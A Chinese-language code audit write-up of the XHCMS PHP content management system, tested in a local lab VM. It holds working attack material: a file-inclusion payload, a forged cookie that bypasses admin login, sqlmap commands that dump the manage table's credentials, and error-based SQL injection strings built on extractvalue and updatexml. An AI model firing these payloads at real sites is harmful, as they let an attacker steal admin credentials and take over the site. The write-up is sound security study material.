做这次代码审计的时候,距离看《代码审计:企业级web代码安全架构》一书已经过去了差不多一个月的时间了。借着这次机会,开启自己的代码审计之旅吧!
本地留了一份进行源码审计,虚拟机win7下搭建作为攻击利用
发现34个可疑漏洞,接下来要做的就是逐一排查,以防误报
代码分析
参数r只有一个addslashes函数过滤,但对于文件包含来说并没有什么用。
尝试利用
因为包含的是files目录下的文件,所以在files下新建shell.php,内容为,payload:192.168.115.130:8088/xhcms/?r=shell,成功包含。
PS:根目录下新建shell.php也可以包含成功,不过需要进行目录跳转
payload:192.168.115.130:8088/xhcms/?r=…/shell
require '../inc/checklogin.php'; //关键代码摘要
require '../inc/conn.php';
$ad1=addslashes($_POST['ad1']); //全文追踪
ad1='$ad1',
ad1、ad2、ad3三个变量被addslashes函数过滤因此不存在注入,属于误报
调用checklogin.php和conn.php两个文件,跟进下去
代码分析
检查cookie中的user值,若为空则跳转到后台登陆页面
利用测试
url:192.168.115.130:8088/xhcms/admin/?r=adset
这是一个需要admin登陆的一个页面,抓包添加user=1,爆破得到user值为admin
proxy修改user=admin再放行,进入adset页面并且为管理员账号登陆
由此可见,所有调用checklogin.php的文件都存在越权漏洞。
涵盖范围:admin/files目录下除login.php和outlogin.php外所有页面
关键代码:
$login=$_POST['login']; //参数直接由POST获取,无任何过滤
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);
$passwords=$users['password'];
if(md5($password)<>$passwords) //将输入的password的md5值进行匹配
{
echo "";
exit;
}
mysql_query()函数执行一条 MySQL 查询。
mysql_fetch_array()函数从结果集中取得一行作为关联数组,或数字数组。
执行的sql语句为SELECT * FROM manage WHERE user='$user'
这里开启了mysql_error(),可以进行报错注入
账号的猜解(请忽略之前所做的所有努力,直接上干货)
我的设想是用ASCII值对账号进行猜解
' and exists(select * from manage)# //存在manage表
' and exists(select user from manage)# //存在user列
' and exists(select password from manage)# //存在password列
' and ascii(substr((select user from manage limit 0,1),1,1))=97#
但是到了这一步却无法猜解出账号值,无奈之下上了sqlmap
抓包保存为post.txt,然后用sqlmap的POST注入模块日他。
sqlmap.py -r "C:\Users\lenovo\Desktop\post.txt" -p user --current-db//爆当前数据库
sqlmap.py -r "C:\Users\lenovo\Desktop\post.txt" -p user -D xhcms --tables//爆表名
sqlmap.py -r "C:\Users\lenovo\Desktop\post.txt" -p user -D xhcms -T manage --columns//爆列名
sqlmap.py -r "C:\Users\lenovo\Desktop\post.txt" -p user -D xhcms -T manage -C "user,password" --dump//爆数据
这里贴一下看到的一个大佬的payload
1' or extractvalue(1,concat((select concat(0x7e,password) from manage)))#
1' or extractvalue(1,concat((select concat(password,0x7e) from manage)))#
一次注入得到的md5值不全,两次注入得到的md5值拼接一下就能得到正确的password
$id=$_GET['id'];
$type=$_GET['type']; //变量由GET直接得到,未做过滤
$save=$_POST['save'];
$name=$_POST['name'];
$keywords=$_POST['keywords'];
$description=$_POST['description'];
$px=$_POST['px'];
$xs=$_POST['xs']; //变量由POST直接得到,未做过滤
对应以下表单的提交
这里出了点意外,payload没构造出来,感概一句自己的手工真的辣鸡
继续看后面的添加链接,也就是insert语句
关键代码:
$save=$_POST['save'];
$name=$_POST['name'];
$url=$_POST['url'];
$mail=$_POST['mail'];
$jieshao=$_POST['jieshao'];
$xs=$_POST['xs'];
还是跟之前一样,变量由POST直接得到,未做任何过滤
payload:' or updatexml(1,concat(0x7e,(select concat(user,0x7e,password) from manage)),0) or'
真的要好好学习手工注入,手注不是and 1=1就完事了的嗷!贴一下学习链接
Mysql报错型注入:https://www.cnblogs.com/csyxf/p/10241456.html
一个图片上传页面,核心代码如下
if(!empty($_FILES['images']['tmp_name']))
{
include '../inc/up.class.php';
if (empty($HTTP_POST_FILES['images']['tmp_name']))//判断接收数据是否为空
{
$tmp = new FileUpload_Single;
$upload="../upload/watermark";//图片上传的目录,这里是当前目录下的upload目录,可自已修改
$tmp -> accessPath =$upload;
if ($tmp -> TODO())
{
$filename=$tmp -> newFileName;//生成的文件名
$filename=$upload.'/'.$filename;
}
}
}
其中调用了/inc/up.class.php,来分析一下
var $defineTypeList="jpg|jpeg|gif|bmp|png";//定义白名单后缀名
function CheckFileMIMEType()//白名单检测
{
$pass = false;
$defineTypeList = strtolower( $this ->defineTypeList);
$MIME = strtolower( $this -> GetFileMIME());
if (!empty ($defineTypeList))
{
if (!empty ($MIME))
{
foreach(explode("|",$defineTypeList) as $tmp)
{
if ($tmp == $MIME)
{
$pass = true;
}
}
}
else
{
return false;
}
}
else
{
return false;
}
return $pass;
}
function GetFileTypeToString()//取文件名后三位
{
if( ! empty( $this -> uploadFile[ 'name' ] ) )
{
return substr( strtolower( $this -> uploadFile[ 'name' ] ) , strlen( $this -> uploadFile[ 'name' ] ) - 3 , 3 );
}
}
几个主要功能就是白名单检测、文件大小检测、对文件重命名,基本就杜绝了直接传shell的可能
我自己的黑盒思路就是传图片马配合文件包含食用,但我觉得真正的黑盒应该是没办法实现的
$user=$_POST['user'];
$name=$_POST['name'];
$password=$_POST['password'];
$password2=$_POST['password2'];
$img=$_POST['img'];
$mail=$_POST['mail'];
$qq=$_POST['qq'];
参数由POST直接得到,无任何过滤
执行的sql语句为
$query = "UPDATE manage SET
user='$user',
name='$name',
$password
$images
mail='$mail',
qq='$qq',
date=now()";
参数并没有用htmlspecialchars()或htmlentities()函数过滤,这就造成储存型xss,以下是payload
payload:
这里应该还是存在报错注入的,不过跟前面一样,payload没构造出来
关键代码:
$delete=$_GET['delete'];
if ($delete<>"")
{
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "";
exit;
}
就只是简单的GET一下delete的id,然后执行sql语句,并没有token验证
抓包分析一下删除请求
请求url:http://192.168.115.130:8088/xhcms/admin/?r=wzlist&delete=3
写法如上,也存在CSRF漏洞
接下来进入files文件夹,先分析index.php
包含了content.php,也就是第15个可疑漏洞的位置
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
$id并没有被单引号包裹,也就造成了sql注入
构造payload,成功利用
http://192.168.115.130:8088/xhcms/index.php?r=content&cid=1 and updatexml(1,concat(0x7e,(select concat(user,0x7e,password) from manage)),0)
继续往下,第154行/?r=submit,继续跟进
$type=addslashes($_GET['type']);
$name=$_POST['name'];
$mail=$_POST['mail'];
$url=$_POST['url'];
$content=$_POST['content'];
$cid=$_POST['cid'];
$ip=$_SERVER["REMOTE_ADDR"];
$tz=$_POST['tz'];
$query = "SELECT * FROM interaction WHERE( mail = '$mail')";
$query = "INSERT INTO interaction (type,xs,cid,name,mail,url,touxiang,shebei,ip,content,tz,date) VALUES ('$type','$xs','$cid','$name','$mail','$url','$touxiang','$shebei','$ip','$content','$tz',now())";
$query = "SELECT * FROM content WHERE( id= $cid)";
$query = "SELECT * FROM download WHERE( id= $cid)";
关联文件
contact.php
software.php
$id=addslashes($_GET['cid']);
$query = "UPDATE download SET hit = hit+1 WHERE id=$id";
写法跟前面的一样,payload也同样可以使用
关联文件
downloads
全文追踪结果显示fileid被addslashes函数过滤,且sql语句中fileid被单引号包裹,不存在注入
if (isset($_GET["callback"]))
{
if (preg_match("/^[\w_]+$/", $_GET["callback"]))
{
echo htmlspecialchars($_GET["callback"]) . '(' . $result . ')';
}
else
{
echo json_encode(array('state'=> 'callback参数不合法'));
}
这里在输出的时候用htmlspecialchars函数将特殊字符转换为html实体,所以不存在xss,属于误报
整个文件夹下就是Ueditor富文本编辑器,也就不去深挖了